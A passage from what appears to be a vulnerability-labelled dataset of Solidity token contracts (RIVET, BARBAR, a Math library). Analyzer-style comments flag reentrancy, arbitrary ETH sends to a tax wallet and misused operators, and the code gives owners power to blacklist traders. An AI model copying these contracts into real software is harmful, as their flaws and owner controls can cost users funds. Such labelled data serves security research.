}\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ea04fa4): RIVET.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ea04fa4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 326f8e3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 326f8e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 828be2d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 828be2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-benign | ID: 828be2d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-benign | ID: 828be2d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b196ae2): RIVET._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b196ae2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 828be2d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 326f8e3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 26097f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 26097f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9fffdad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9fffdad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 26097f3\n\t\t\t\t// reentrancy-eth | ID: 9fffdad\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 26097f3\n\t\t\t\t\t// reentrancy-eth | ID: 9fffdad\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9fffdad\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9fffdad\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9fffdad\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 26097f3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9fffdad\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9fffdad\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 26097f3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-events | ID: 26097f3\n\t\t// reentrancy-benign | ID: 828be2d\n\t\t// reentrancy-eth | ID: 9fffdad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6004a52): RIVET.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6004a52: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 326f8e3\n\t\t// reentrancy-events | ID: 26097f3\n\t\t// reentrancy-eth | ID: 9fffdad\n\t\t// arbitrary-send-eth | ID: 6004a52\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 417bc82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 417bc82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f3fbd52): RIVET.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f3fbd52: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe08ed2): RIVET.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fe08ed2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6cc4e8c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6cc4e8c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 417bc82\n\t\t// reentrancy-eth | ID: 6cc4e8c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 417bc82\n\t\t// unused-return | ID: f3fbd52\n\t\t// reentrancy-eth | ID: 6cc4e8c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 417bc82\n\t\t// unused-return | ID: fe08ed2\n\t\t// reentrancy-eth | ID: 6cc4e8c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 417bc82\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6cc4e8c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10296.sol", "size_bytes": 20327, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function WETH() external pure returns (address);\n}\n\ncontract BARBAR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _exclFromLimit;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 21000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BARBAR\";\n\n string private constant _symbol = unicode\"BARBAR\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 78e710d): BARBAR._maxTxAmount should be constant \n\t// Recommendation for 78e710d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c996f9): BARBAR._maxWalletSize should be constant \n\t// Recommendation for 9c996f9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17880bd): BARBAR._taxSwapThreshold should be constant \n\t// Recommendation for 17880bd: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d982fc7): BARBAR._maxTaxSwap should be constant \n\t// Recommendation for d982fc7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: dd77a22): BARBAR._taxWallet should be immutable \n\t// Recommendation for dd77a22: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc4b5d6): BARBAR.limitsInEffect should be constant \n\t// Recommendation for dc4b5d6: Add the 'constant' attribute to state variables that never change.\n bool private limitsInEffect = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xe0483219FaAec2Ae56dA46bE77a154c48C292087);\n\n _balances[_msgSender()] = _tTotal;\n\n _exclFromLimit[_taxWallet] = true;\n\n _exclFromLimit[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b1be34): BARBAR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b1be34: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cdf5fd9): BARBAR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cdf5fd9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b14e2cd): BARBAR.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b14e2cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b74ff2e): BARBAR.openTrading() ignores return value by IERC20(uniswapPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for b74ff2e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2b2c63a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2b2c63a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2b2c63a\n uniswapPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// unused-return | ID: b14e2cd\n\t\t// reentrancy-eth | ID: 2b2c63a\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: b74ff2e\n\t\t// reentrancy-eth | ID: 2b2c63a\n IERC20(uniswapPair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 2b2c63a\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function recoverStuckEth(address _receiver, address _percent) external {\n require(_msgSender() == _taxWallet);\n }\n}\n", "file_name": "solidity_code_10297.sol", "size_bytes": 12214, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0c53b37): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0c53b37: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 014d4d2): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 014d4d2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9790d1d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 9790d1d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d5848a6): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for d5848a6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d628039): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for d628039: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eb1f172): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for eb1f172: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 211b26a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 211b26a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5949289): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5949289: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 14f88ee): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 14f88ee: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 0c53b37\n\t\t\t\t// divide-before-multiply | ID: 9790d1d\n\t\t\t\t// divide-before-multiply | ID: d5848a6\n\t\t\t\t// divide-before-multiply | ID: d628039\n\t\t\t\t// divide-before-multiply | ID: eb1f172\n\t\t\t\t// divide-before-multiply | ID: 211b26a\n\t\t\t\t// divide-before-multiply | ID: 5949289\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 014d4d2\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: d5848a6\n\t\t\t// incorrect-exp | ID: 14f88ee\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 9790d1d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5949289\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: d628039\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 211b26a\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: eb1f172\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 0c53b37\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 014d4d2\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 